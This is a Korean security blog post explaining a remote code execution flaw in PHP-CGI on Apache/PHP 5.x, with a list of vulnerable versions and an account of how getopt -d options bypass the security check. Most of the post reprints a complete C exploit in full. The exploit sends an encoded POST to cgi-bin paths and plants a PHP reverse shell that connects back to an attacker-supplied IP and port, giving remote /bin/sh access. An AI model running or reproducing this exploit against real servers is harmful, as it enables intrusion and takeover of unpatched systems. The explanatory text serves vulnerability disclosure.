티스토리 뷰
취약정보/Apache/PHP
[Apache/PHP 5.x] Remote Code Execution Exploit [Not verified yet]
hackability 2013. 10. 30. 09:31
내용
- Apache / PHP 5.X 에서 발생되는 원격 코드 실행 취약점
정보
- 아직 검증되지 않은 상태이며 CVE에 등록되지 않은 상태
참고자료
- Exploit-DB, http://www.exploit-db.com/exploits/29290/
테스트 된 취약버전
- PHP 5.3.10
- PHP 5.3.8-1
- PHP 5.3.6-13
- PHP5.3.3
- PHP 5.2.17
- PHP 5.2.11
- PHP 5.2.6-3
- PHP 5.2.6+lenny16 with Suhosin-Patch
- PHP 5.3.12 이전 버전
- PHP 5.4.2 이전 버전
CVE-2012-1823 패치에 의해 취약하지 않은 버전
- PHP 4 (getopt 파서가 취약하지 않음)
- PHP 5.3.12 이상 버전
- PHP 5.4.2 이상 버전
해당 취약점의 내용을 요약하면 아래와 같습니다.
- 해당 버그는 Apache와 PHP 사용에 의해 발생
- php5-cgi 패키지가 기본 옵션으로 설치된 Debian과 Ubuntu 계열에서 취약점 발생
- 기본 설치된 경우 php-cgi 바이너리가 /cgi-bin/php5, /cgi-bin/php 에서 접근 가능
- 이 취약점은 해당 바이너리를 실행 시킬 수 있게 만듬. 그 이유는 처음에 Apache http server를 설치 했을 때, 해당 바이너리는 security check enabled인데, 익스플로잇을 통해 해당 security check를 우회
- 기본적으로는 php-cgi 바이너리를 접근 했을 때, security check는 해당 요청을 거부하고 바이너리 실행을 막음
- sapi/cgi/cgi_main.c 소스코드에서보면, php.ini 설정에서 cgi.force_redirect를 SET 하고 cgi.redirect_status_env를 SET 하지 않고 security check를 마침
- php.ini에 있는 이 두개의 설정은 Security Check를 우회하고 바이너리를 실행 시킬 수 있도록 함
- Security Check를 위한 이 코드가 호출되기 전에, getopt가 호출되고 이것은 -d 옵션을 이용하여 cgi.force_redirect 를 0으로 설정하고 cgi.redirect_status_env를 0으로 설정할 수 있음
- 만약 두 개의 값이 0으로 설정되면, 서버 php-cgi로 전송되는 요청은 Fully Executable해지고, 공격자는 POST 데이터 필드에 payload를 넣음으로써 임의의 php를 실행 시킬 수 있으로써, 시스템에서 프로그램을 실행 시킬 수 있음
아래는 exploit-db에서 제공되는 코드이며 이 코드는 위 설명처럼 동작하고 SSL 역시 지원합니다.
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <getopt.h> #include <sys/types.h> #include <stddef.h> #include <openssl/rand.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <netdb.h> #include <sys/socket.h> #include <netinet/in.h> typedef struct { int sockfd; SSL *handle; SSL_CTX *ctx; } connection; void usage( char *argv[]) { printf ( "usage: %s <--target target> <--port port> <--protocol http|https> " \ "<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]\n" , argv[0]); exit (1); } char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \ "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \ "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \ "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \ "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \ "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \ "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \ "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \ "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \ "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \ "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \ "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \ "Host: %s\r\n" \ "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26" \ "(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n" \ "Content-Type: application/x-www-form-urlencoded\r\n" \ "Content-Length: %d\r\n" \ "Connection: close\r\n\r\n%s" ; char phpstr[] = "<?php\n" \ "set_time_limit(0);\n" \ "$ip = '%s';\n" \ "$port = %d;\n" \ "$chunk_size = 1400;\n" \ "$write_a = null;\n" \ "$error_a = null;\n" \ "$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n" \ "$daemon = 0;\n" \ "$debug = 0;\n" \ "if (function_exists('pcntl_fork')) {\n" \ " $pid = pcntl_fork(); \n" \ " if ($pid == -1) {\n" \ " printit(\"ERROR: Can't fork\");\n" \ " exit(1);\n" \ " }\n" \ " if ($pid) {\n" \ " exit(0);\n" \ " }\n" \ " if (posix_setsid() == -1) {\n" \ " printit(\"Error: Can't setsid()\");\n" \ " exit(1);\n" \ " }\n" \ " $daemon = 1;\n" \ "} else {\n" \ " printit(\"WARNING: Failed to daemonise.\");\n" \ "}\n" \ "chdir(\"/\");\n" \ "umask(0);\n" \ "$sock = fsockopen($ip, $port, $errno, $errstr, 30);\n" \ "if (!$sock) {\n" \ " printit(\"$errstr ($errno)\");\n" \ " exit(1);\n" \ "}\n" \ "$descriptorspec = array(\n" \ " 0 => array(\"pipe\", \"r\"),\n" \ " 1 => array(\"pipe\", \"w\"),\n" \ " 2 => array(\"pipe\", \"w\")\n" \ ");\n" \ "$process = proc_open($shell, $descriptorspec, $pipes);\n" \ "if (!is_resource($process)) {\n" \ " printit(\"ERROR: Can't spawn shell\");\n" \ " exit(1);\n" \ "}\n" \ "stream_set_blocking($pipes[0], 0);\n" \ "stream_set_blocking($pipes[1], 0);\n" \ "stream_set_blocking($pipes[2], 0);\n" \ "stream_set_blocking($sock, 0);\n" \ "while (1) {\n" \ " if (feof($sock)) {\n" \ " printit(\"ERROR: Shell connection terminated\");\n" \ " break;\n" \ " }\n" \ " if (feof($pipes[1])) {\n" \ " printit(\"ERROR: Shell process terminated\");\n" \ " break;\n" \ " }\n" \ " $read_a = array($sock, $pipes[1], $pipes[2]);\n" \ " $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n" \ " if (in_array($sock, $read_a)) {\n" \ " if ($debug) printit(\"SOCK READ\");\n" \ " $input = fread($sock, $chunk_size);\n" \ " if ($debug) printit(\"SOCK: $input\");\n" \ " fwrite($pipes[0], $input);\n" \ " }\n" \ " if (in_array($pipes[1], $read_a)) {\n" \ " if ($debug) printit(\"STDOUT READ\");\n" \ " $input = fread($pipes[1], $chunk_size);\n" \ " if ($debug) printit(\"STDOUT: $input\");\n" \ " fwrite($sock, $input);\n" \ " }\n" \ " if (in_array($pipes[2], $read_a)) {\n" \ " if ($debug) printit(\"STDERR READ\");\n" \ " $input = fread($pipes[2], $chunk_size);\n" \ " if ($debug) printit(\"STDERR: $input\");\n" \ " fwrite($sock, $input);\n" \ " }\n" \ "}\n" \ "\n" \ "fclose($sock);\n" \ "fclose($pipes[0]);\n" \ "fclose($pipes[1]);\n" \ "fclose($pipes[2]);\n" \ "proc_close($process);\n" \ "function printit ($string) {\n" \ " if (!$daemon) {\n" \ " print \"$string\n\";\n" \ " }\n" \ "}\n" \ "exit(1);\n" \ "?>" ; struct sockaddr_in *gethostbyname_( char *hostname, unsigned short port) { struct hostent *he; struct sockaddr_in server, *servercopy; if ((he=gethostbyname(hostname)) == NULL) { printf ( "Hostname cannot be resolved\n" ); exit (255); } servercopy = malloc ( sizeof ( struct sockaddr_in)); if (!servercopy) { printf ( "malloc error (1)\n" ); exit (255); } memset (&server, '\0' , sizeof ( struct sockaddr_in)); memcpy (&server.sin_addr, he->h_addr_list[0], he->h_length); server.sin_family = AF_INET; server.sin_port = htons(port); memcpy (servercopy, &server, sizeof ( struct sockaddr_in)); return servercopy; } char *sslread(connection *c) { char *rc = NULL; int received, count = 0, count2=0; char ch; for (;;) { if (!rc) rc = calloc (1024, sizeof ( char ) + 1); else if (count2 % 1024 == 0) { rc = realloc (rc, (count2 + 1) * 1024 * sizeof ( char ) + 1); } received = SSL_read(c->handle, &ch, 1); if (received == 1) { rc[count++] = ch; count2++; if (count2 > 1024*5) break ; } else break ; } return rc; } char *read_( int sockfd) { char *rc = NULL; int received, count = 0, count2=0; char ch; for (;;) { if (!rc) rc = calloc (1024, sizeof ( char ) + 1); else if (count2 % 1024 == 0) { rc = realloc (rc, (count2 + 1) * 1024 * sizeof ( char ) + 1); } received = read(sockfd, &ch, 1); if (received == 1) { rc[count++] = ch; count2++; if (count2 > 1024*5) break ; } else break ; } return rc; } void main( int argc, char *argv[]) { char *target, *protocol, *targetip, *writestr, *tmpstr, *readbuf=NULL, *interpreter, *reverseip, *reverseportstr, *forceinterpreter=NULL; char httpsflag=0; unsigned short port=0, reverseport=0; struct sockaddr_in *server; int sockfd; unsigned int writesize, tmpsize; unsigned int i; connection *sslconnection; printf ( "-== Apache Magika by Kingcope ==-\n" ); for (;;) { int c; int option_index=0; static struct option long_options[] = { { "target" , required_argument, 0, 0 }, { "port" , required_argument, 0, 0 }, { "protocol" , required_argument, 0, 0 }, { "reverse-ip" , required_argument, 0, 0 }, { "reverse-port" , required_argument, 0, 0 }, { "force-interpreter" , required_argument, 0, 0 }, {0, 0, 0, 0 } }; c = getopt_long(argc, argv, "" , long_options, &option_index); if (c < 0) break ; switch (c) { case 0: switch (option_index) { case 0: if (optarg) { target = calloc ( strlen (optarg)+1, sizeof ( char )); if (!target) { printf ( "calloc error (2)\n" ); exit (255); } memcpy (target, optarg, strlen (optarg)+1); } break ; case 1: if (optarg) port = atoi (optarg); break ; case 2: protocol = calloc ( strlen (optarg)+1, sizeof ( char )); if (!protocol) { printf ( "calloc error (3)\n" ); exit (255); } memcpy (protocol, optarg, strlen (optarg)+1); if (! strcmp (protocol, "https" )) httpsflag=1; break ; case 3: reverseip = calloc ( strlen (optarg)+1, sizeof ( char )); if (!reverseip) { printf ( "calloc error (4)\n" ); exit (255); } memcpy (reverseip, optarg, strlen (optarg)+1); break ; case 4: reverseport = atoi (optarg); reverseportstr = calloc ( strlen (optarg)+1, sizeof ( char )); if (!reverseportstr) { printf ( "calloc error (5)\n" ); exit (255); } memcpy (reverseportstr, optarg, strlen (optarg)+1); break ; case 5: forceinterpreter = calloc ( strlen (optarg)+1, sizeof ( char )); if (!forceinterpreter) { printf ( "calloc error (6)\n" ); exit (255); } memcpy (forceinterpreter, optarg, strlen (optarg)+1); break ; default : usage(argv); } break ; default : usage(argv); } } if ((optind < argc) || !target || !protocol || !port || !reverseip || !reverseport){ usage(argv); } server = gethostbyname_(target, port); if (!server) { printf ( "Error while resolving hostname. (7)\n" ); exit (255); } char *interpreters[5]; int ninterpreters = 5; interpreters[0] = strdup( "/cgi-bin/php" ); interpreters[1] = strdup( "/cgi-bin/php5" ); interpreters[2] = strdup( "/cgi-bin/php-cgi" ); interpreters[3] = strdup( "/cgi-bin/php.cgi" ); interpreters[4] = strdup( "/cgi-bin/php4" ); for (i=0;i<ninterpreters;i++) { interpreter = interpreters[i]; if (forceinterpreter) { interpreter = strdup(forceinterpreter); } if (forceinterpreter && i) break ; printf ( "%s\n" , interpreter); sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 1) { printf ( "socket error (8)\n" ); exit (255); } if (connect(sockfd, ( void *)server, sizeof ( struct sockaddr_in)) < 0) { printf ( "connect error (9)\n" ); exit (255); } if (httpsflag) { sslconnection = (connection*) malloc ( sizeof (connection)); if (!sslconnection) { printf ( "malloc error (10)\n" ); exit (255); } sslconnection->handle = NULL; sslconnection->ctx = NULL; SSL_library_init(); sslconnection->ctx = SSL_CTX_new(SSLv23_client_method()); if (!sslconnection->ctx) { printf ( "SSL_CTX_new error (11)\n" ); exit (255); } sslconnection->handle = SSL_new(sslconnection->ctx); if (!sslconnection->handle) { printf ( "SSL_new error (12)\n" ); exit (255); } if (!SSL_set_fd(sslconnection->handle, sockfd)) { printf ( "SSL_set_fd error (13)\n" ); exit (255); } if (SSL_connect(sslconnection->handle) != 1) { printf ( "SSL_connect error (14)\n" ); exit (255); } } tmpsize = strlen (phpstr) + strlen (reverseip) + strlen (reverseportstr) + 64; tmpstr = ( char *) calloc (tmpsize, sizeof ( char )); snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport); writesize = strlen (target) + strlen (interpreter) + strlen (poststr) + strlen (tmpstr) + 64; writestr = ( char *) calloc (writesize, sizeof ( char )); snprintf(writestr, writesize, poststr, interpreter, target, strlen (tmpstr), tmpstr); if (!httpsflag) { write(sockfd, writestr, strlen (writestr)); readbuf = read_(sockfd); } else { SSL_write(sslconnection->handle, writestr, strlen (writestr)); readbuf = sslread(sslconnection); } if (readbuf) { printf ( "***SERVER RESPONSE***\n\n%s\n\n" , readbuf); } else { printf ( "read error (15)\n" ); exit (255); } } exit (1); } |
'취약정보 > Apache/PHP' 카테고리의 다른 글
[Apache/PHP 5.x] Remote Code Execution [Not verified yet] (CVE-2012-1823) (0) | 2013.11.04 |
---|
댓글
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- IE 10 익스플로잇
- TenDollar CTF
- Mona 2
- WinDbg
- Windows Exploit Development
- shellcode
- School CTF Writeup
- IE UAF
- 데이터 마이닝
- IE 10 리버싱
- IE 11 exploit development
- shellcode writing
- CTF Write up
- IE 11 exploit
- TenDollar
- School CTF Write up
- 쉘 코드
- data mining
- heap spraying
- 윈도우즈 익스플로잇 개발
- 2014 SU CTF Write UP
- 쉘 코드 작성
- 힙 스프레잉
- IE 10 Exploit Development
- Use after free
- IE 11 UAF
- IE 10 God Mode
- UAF
- expdev 번역
- 2015 School CTF
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
글 보관함